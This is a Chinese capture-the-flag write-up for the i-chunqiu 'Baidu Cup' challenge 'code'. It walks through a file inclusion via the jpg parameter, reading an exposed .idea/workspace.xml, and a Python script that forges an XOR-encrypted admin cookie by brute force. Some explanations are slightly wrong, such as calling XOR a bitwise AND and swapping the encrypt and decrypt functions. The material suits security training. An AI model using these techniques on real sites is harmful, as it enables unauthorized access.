“百度杯”CTF比赛 九月场 code

先去i春秋打开复现环境

“百度杯”CTF比赛 九月场 code_第1张图片

打开链接,emmmmmmm(是我妹妹,逃~)

“百度杯”CTF比赛 九月场 code_第2张图片

说正经的,jpg=hei.jpg 这一看就是文件包含。

我们先看看穹妹的源码吧

返回的是图片用base64译码的结果。

<title>file:hei.jpgtitle><img src='data:image/gif;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCADcASUDASIAAhEBAxEB/8QAHAAAAgIDAQEAAAAAAAAAAAAABAUDBgABAgcI/8QARxAAAgEDAgIGBwUFBgQGAwAAAQIDAAQRBSESMQYTQVFhcSIygZGhscEUI0JS0TNicuHwByRDgpKiFVNzshYlNERj8ZPC0v/EABgBAAMBAQAAAAAAAAAAAAAAAAABAgME/8QAIhEBAQACAgICAwEBAAAAAAAAAAECESFBEjEDURMiMmFx/9oADAMBAAIRAxEAPwDz/hOKwbVJis4c13OTbSjG4rvNcgYroUE6G9bLgDDbVrkOdQ5NxJ1f4R6xoCe1HFL1zch6gqeadbaNpG3Y8hWspEhY7ACk1xM91PxA+iOQpp1t2pa6mLNzJpxZwcGCaFs4BgEjBpopGADz76ShSbCtvEHHjXMTZGKMt4XuJBHGvEx7Pr5UgGjByB+L516H0Z/s/e5SO91oNFCcMlqDh28WPYPDn5U16KdFLTSQl7eoJb3GV4htF5Dv8Ty8KcarrRQiCFwsr5y35F7TWOfydRpjhrmmrXsaAxJgRxgKT3Y7K7iu+Jj2Htz2VW45wnAq7MPVU/h8T4/KtzaktvHwqcsfj41jpptZ2vYol9YACld5rS4ITG3zqttqEk2TxbbkknAA7/LxqWyEcqfbLg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nXh24kYt48q2v6zbm/q6eb9HdUm1HpFqGjakwVL+KSz4eyNwTjHtGfZSDTZ5dH1mKWVCHtZx1sZ/dOGHuyKO6T/AN1/tI1Awfdlb8MMdhJUn4k0T02jSPppf8KgcYikbHazIpJ9pq+xZodHapb6rf6Czjqpn/u7HkHG8Tf5lPD/AJqWqChKsCCDgg8wam1sng0ebJ6x9MhZm7SQWUH3KB7KK1nfVXbtkjikfxZo1LH2kk0oVgQZAzmp43HI86FjJzjO1ToOYopD4noqOTh8RS6LlRCE1IMhKCNjWUGDiso2b//Z'>img>
View Code

我们通过文件包含,看看index.php里面的内容

url:http://16f8b7fc777444e38af9e234404cec95d069d121e5d7435a.game.ichunqiu.com/index.php?jpg=index.php

“百度杯”CTF比赛 九月场 code_第3张图片

返回的是一个坏掉的图片,不碍事,直接看源码,复制下来,删掉划线部分

“百度杯”CTF比赛 九月场 code_第4张图片

把剩余base64丢去解码

“百度杯”CTF比赛 九月场 code_第5张图片

返回了一段php代码,这段代码中将传入jpg这个变量的参数进行了过滤,只允许大小写字母与数组,否则会被替换成空。

但是还有一个有意思的一点,它将config这个字符替换成了"_"。

 但是下一步我们该怎么做?发现注释中有信息说是用PhpStorm写的,我百度了下,它是个类似于eclipse、vs之类的编译器。(我这种不做开发的用个记事本都能写代码23333)

PhpStorm有个问题,它存在于一个.idea的文件

构造我们url访问下.idea/workspace.xml这个文件

http://16f8b7fc777444e38af9e234404cec95d069d121e5d7435a.game.ichunqiu.com/.idea/workspace.xml

 “百度杯”CTF比赛 九月场 code_第6张图片

发现2个特别的文件,fl3g_ichuqiu.php一看就是flag文件的名字,还有个config.php

我们都访问下config.php没有回显,fl3g_ichuqiu.php显示个 "╮(╯▽╰)╭"这玩意。

用文件包含看看

因为fl3g_ichuqiu.php中的_被替换了,config被替换成_了,所以都无法正常访问。

但是正是因为config被替换成"_",我们可以通过config构造出fl3g_ichuqiu.php

url:

http://16f8b7fc777444e38af9e234404cec95d069d121e5d7435a.game.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php

用上面查看index.php相同的方法解码

php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++)    {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "鈺�(鈺柦鈺�)鈺�";
}
?>

结果是一段如何加密的代码,这里确定flag就在config.php的$flag这个变量里面。

要输出flag则需要让加密后的username == 'system'就行了

random()函数是创建随机字母的

decrypt($txt, $key)是用key对$txt进行加密

encrypt($txt, $key)是用key对$txt进行解密

这里加密和解密的操作是用的位与运算,那么存在一个方法比如

A = C ^ B

那么

C = A ^ B

所以我们可以通过解密函数来求出key的前5位,最后一位通过爆破即可。我们知道key的值了,再与cookie内的user进行加密构造成system即可

我们从插件里面拿到本次Cookie的组成结构,值不一样无所谓,只要位数和字符范围相同就行。

“百度杯”CTF比赛 九月场 code_第7张图片

 

写出python脚本

 

import base64
import requests
import string

crypt = 'Y0o1dUJLC01N'
text = 'guest'

crypt = base64.b64decode(crypt)
rnd = crypt[0:4]
crypt = crypt[4:] 

tmp = ''
for i in range(5):
    tmp += chr(ord(text[i]) + 10)

key = ''
for i in range(5):
    key += chr(ord(tmp[i]) ^ ord(crypt[i]))
#至此获得此次加密后的key前5位的值,接下来我们要用key来对system进行解密
cookies = []

system = 'system'
tt = ''
for i in range(6):
    tt += chr(ord(system[i]) + 10)

for i in '0123456789abcdef':        #这里为啥是"1-f",因为md5最终返回的数值是16进制对应的字符是0~9 a~f,所以这里范围为这一段
    true_key = key + i
    tmp = ''
    for i in range(6):
        tmp += chr(ord(true_key[i]) ^ ord(tt[i]))
    cookies.append(base64.b64encode(rnd + tmp))

for i in cookies:
    cookie = {'user' : i}
    r = requests.session()
    result = r.get('http://16f8b7fc777444e38af9e234404cec95d069d121e5d7435a.game.ichunqiu.com/fl3g_ichuqiu.php', cookies = cookie)
    print result.text

 如果你要用上面的脚本,把注释给删了,我不知道为啥有这个注释会报错。。。。

运行结果

“百度杯”CTF比赛 九月场 code_第8张图片

发现flag,不知道为啥在i春秋上提交一直报错,难道这是个假flag(笑)

 

作者的小唠叨:原来看别人的writeup一有有python脚本的就直接用别人的脚本了,这次硬着头皮看完代码,写写自己的收获。对于这到题,我们知道MD5加密是产生32位 0~f 的组合的,这也是为什么在爆破最后一位的时候范围那是16个字符。其次我们是根据这次拿到的cookie中的user去推MD5加过密的key的前5位,key总共有32位。然后用key的前5位加1位爆破去对system解密的内容,而我们的rnd在这里就是user值的前4位是系统随机生成的,但是我们的key的MD5值和它又是有关联的,在最后也要把rnd和解密后的值拼接在一起。

 

你可能感兴趣的:(“百度杯”CTF比赛 九月场 code)